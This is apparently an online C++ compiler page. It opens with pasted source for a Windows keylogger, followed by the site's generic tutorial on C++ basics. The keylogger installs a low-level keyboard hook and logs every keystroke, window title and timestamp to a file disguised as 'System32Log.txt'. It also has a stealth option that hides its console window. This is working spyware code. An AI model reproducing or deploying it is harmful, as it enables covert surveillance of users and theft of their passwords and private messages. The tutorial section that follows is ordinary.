#include <Windows.h> #include <time.h> #include <iostream> #include <cstdio> #include <fstream> // defines whether the window is visible or not // should be solved with makefile, not in this file #define visible // (visible / invisible) // variable to store the HANDLE to the hook. Don't declare it anywhere else then globally // or you will get problems since every function uses this variable. HHOOK _hook; // This struct contains the data received by the hook callback. As you see in the callback function // it contains the thing you will need: vkCode = virtual key code. KBDLLHOOKSTRUCT kbdStruct; int Save(int key_stroke); std::ofstream OUTPUT_FILE; // This is the callback function. Consider it the event that is raised when, in this case, // a key is pressed. LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode >= 0) { // the action is valid: HC_ACTION. if (wParam == WM_KEYDOWN) { // lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct. kbdStruct = *((KBDLLHOOKSTRUCT*)lParam); // save to file Save(kbdStruct.vkCode); } } // call the next hook in the hook chain. This is nessecary or your hook chain will break and the hook stops return CallNextHookEx(_hook, nCode, wParam, lParam); } void SetHook() { // Set the hook and set it to use the callback function above // WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN. // The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the // function that sets and releases the hook. if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0))) { LPCWSTR a = L"Failed to install hook!"; LPCWSTR b = L"Error"; MessageBox(NULL, a, b, MB_ICONERROR); } } void ReleaseHook() { UnhookWindowsHookEx(_hook); } int Save(int key_stroke) { static char lastwindow[256] = ""; if ((key_stroke == 1) || (key_stroke == 2)) return 0; // ignore mouse clicks HWND foreground = GetForegroundWindow(); DWORD threadID; HKL layout = NULL; if (foreground) { //get keyboard layout of the thread threadID = GetWindowThreadProcessId(foreground, NULL); layout = GetKeyboardLayout(threadID); } if (foreground) { char window_title[256]; GetWindowTextA(foreground,(LPSTR)window_title, 256); if(strcmp(window_title, lastwindow)!=0) { strcpy(lastwindow, window_title); // get time time_t t = time(NULL); struct tm *tm = localtime(&t); char s[64]; strftime(s, sizeof(s), "%c", tm); OUTPUT_FILE << "\n\n[Window: "<< window_title << " - at " << s << "] "; } } std::cout << key_stroke << '\n'; if (key_stroke == VK_BACK) OUTPUT_FILE << "[BACKSPACE]"; else if (key_stroke == VK_RETURN) OUTPUT_FILE << "\n"; else if (key_stroke == VK_SPACE) OUTPUT_FILE << " "; else if (key_stroke == VK_TAB) OUTPUT_FILE << "[TAB]"; else if (key_stroke == VK_SHIFT || key_stroke == VK_LSHIFT || key_stroke == VK_RSHIFT) OUTPUT_FILE << "[SHIFT]"; else if (key_stroke == VK_CONTROL || key_stroke == VK_LCONTROL || key_stroke == VK_RCONTROL) OUTPUT_FILE << "[CONTROL]"; else if (key_stroke == VK_ESCAPE) OUTPUT_FILE << "[ESCAPE]"; else if (key_stroke == VK_END) OUTPUT_FILE << "[END]"; else if (key_stroke == VK_HOME) OUTPUT_FILE << "[HOME]"; else if (key_stroke == VK_LEFT) OUTPUT_FILE << "[LEFT]"; else if (key_stroke == VK_UP) OUTPUT_FILE << "[UP]"; else if (key_stroke == VK_RIGHT) OUTPUT_FILE << "[RIGHT]"; else if (key_stroke == VK_DOWN) OUTPUT_FILE << "[DOWN]"; else if (key_stroke == 190 || key_stroke == 110) OUTPUT_FILE << "."; else if (key_stroke == 189 || key_stroke == 109) OUTPUT_FILE << "-"; else if (key_stroke == 20) OUTPUT_FILE << "[CAPSLOCK]"; else { char key; // check caps lock bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0); // check shift key if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 || (GetKeyState(VK_LSHIFT) & 0x1000) != 0 || (GetKeyState(VK_RSHIFT) & 0x1000) != 0) { lowercase = !lowercase; } //map virtual key according to keyboard layout key = MapVirtualKeyExA(key_stroke,MAPVK_VK_TO_CHAR, layout); //tolower converts it to lowercase properly if (!lowercase) key = tolower(key); OUTPUT_FILE << char(key); } //instead of opening and closing file handlers every time, keep file open and flush. OUTPUT_FILE.flush(); return 0; } void Stealth() { #ifdef visible ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 1); // visible window #endif // visible #ifdef invisible ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 0); // invisible window #endif // invisible } int main() { //open output file in append mode OUTPUT_FILE.open("System32Log.txt",std::ios_base::app); // visibility of window Stealth(); // Set the hook SetHook(); // loop to keep the console application running. MSG msg; while (GetMessage(&msg, NULL, 0, 0)) { } }
Write, Run & Share C++ code online using OneCompiler's C++ online compiler for free. It's one of the robust, feature-rich online compilers for C++ language, running on the latest version 17. Getting started with the OneCompiler's C++ compiler is simple and pretty fast. The editor shows sample boilerplate code when you choose language as C++
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OneCompiler's C++ online compiler supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample program which takes name as input and print your name with hello.
#include <iostream>
#include <string>
using namespace std;
int main()
{
string name;
cout << "Enter name:";
getline (cin, name);
cout << "Hello " << name;
return 0;
}
C++ is a widely used middle-level programming language.
When ever you want to perform a set of operations based on a condition If-Else is used.
if(conditional-expression) {
//code
}
else {
//code
}
You can also use if-else for nested Ifs and If-Else-If ladder when multiple conditions are to be performed on a single variable.
Switch is an alternative to If-Else-If ladder.
switch(conditional-expression){
case value1:
// code
break; // optional
case value2:
// code
break; // optional
......
default:
code to be executed when all the above cases are not matched;
}
For loop is used to iterate a set of statements based on a condition.
for(Initialization; Condition; Increment/decrement){
//code
}
While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.
while (condition) {
// code
}
Do-while is also used to iterate a set of statements based on a condition. It is mostly used when you need to execute the statements atleast once.
do {
// code
} while (condition);
Function is a sub-routine which contains set of statements. Usually functions are written when multiple calls are required to same set of statements which increases re-usuability and modularity. Function gets run only when it is called.
return_type function_name(parameters);
function_name (parameters)
return_type function_name(parameters) {
// code
}